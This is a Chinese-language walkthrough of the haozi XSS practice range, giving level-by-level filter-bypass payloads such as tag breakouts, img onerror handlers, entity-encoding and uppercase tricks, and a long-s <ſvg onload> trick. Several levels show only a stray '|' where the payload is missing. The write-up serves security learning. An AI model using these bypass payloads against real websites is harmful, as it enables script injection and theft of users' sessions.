haozixss线上靶场学习
haozixss简介
haozi是一个在线练习xss的平台网址为https://xss.haozi.me/
haozixss学习通过
打开靶场地址首先需要输入昵称然后就可以进入关卡
0x00
这个游戏是要弹出图片显示出yes才能过关,首先来看第一关
可以看到后端代码并没有对输入做限制直接构造弹窗代码<script>alert(1)</script>
可以看到成功出现过关图片
0x01
可以看到我们的输入包裹在一textarea标签中我们绕过的方法是闭合textarea标签构造语句</textarea><script>alert(1)</script>
0x02
这里给出的限制是条件是input标签,我们可以尝试闭合input标签绕过"><script>alert(1)</script>
0x03
这一关使用replace方法过滤了圆括号替换为空我们可以通过实体编码括号或反引号来过<img src=1 onerror="alert`1`"> 或者 <img src=1 onerror=alert(1) >
0x04
这一关和第四关类似只不过将反引号也过滤了可以使用实体编码绕过<img src=1 onerror=alert(1) >
0x05
这一关是限制了右注释符,并将有注释符转化为emoji表情,可以通过闭合注释来绕过使用--!><img src=1 onerror=alert(1)>
来绕过
0x06
这一关将auto和on开头的词加上等于号就会变成下划线,加上大于号大于号也会变成下滑线,也就是说过滤了autoforce和onerror事件。我们可以使用一个换行的技巧前题是要加入一个type属性值image和src映射路径属性,然后再让等于号和属性分开
|
0x07
这里使用正则将<>和</>进行了限制,也就是说智能 < 或者 > ,总之不能闭合标签,使用img标签来过<img src=1 onerror=alert(1)>
0x08
这里对</ style>进行过滤替换,并且style标签智能出现文本或者符号,js无法生效,可以模仿0x06的换行来绕过
|
0x09
这里必须是给定url,后面用正常闭合就可以https://www.segmentfault.com>"img src=1 onerror="alert(1)
0x0A
这里对一些符号进行了过滤转换为了实体编码,但img的src里是认实体编码的,这样直接和0x09一样直接输入就过了https://www.segmentfault.com.haozi.me/j.js
引入第三方js或者使用url@语法进行跳转调用
0x0B
这里是将所有的字母转换成了大写,所以将alert(1)实体编码可以绕过<img src=1 onerror="alert(1) ">
0x0C
这里增加了过滤script依旧使用实体编码绕过<img src=1 onerror="alert(1) ">
0x0D
这里使用正则过滤了<、/、”、’这四种符号,并且指定了我们的input在注释语句中,首先考虑逃出注释使用右注释符闭合,不过这里注意我们在使用语句alert(1)时要换行。
|
0x0E
这里用正则过滤了所有字母,并将小写转为大写,输入script标签就会转为_CRIPT,所以这里只能使用一个特殊符号 ſ ,它可以在转换为s而不被过滤,并且由于js中区分大小写,所以还需要将里面的js事件代码进行十进制的实体编码。<ſvg onload=alert(1)>
0x0F
这里对一大堆符号进行了过滤,只要输入就会被转换为实体编码,并且在img标签中输入,html可以识别转换的编码,所以我们先闭合然后输入js事件函数alert再通过注释符将后面的注释就可以了
|
0x10
这里是用window.data,这是window调用了全局变量,正好alert在window的全局中存在可以执行
0x11
这里同样对一堆符号进行了过滤但我们发现双引号转义为"其实这里并没有将双引号成功过滤,还可以使用绕过");alert("1
0x12
这里将双引号转换为"和上一关相似,不同处是这里在console中输出,但console.log不在html标签里,也就相当于在html标签外面不能被编码,所以只能选择先在"的前面加上一个转义符在进行转义,或者闭合script标签绕过。
|
xss总结
只要能闭合,让输入的成功以js执行就行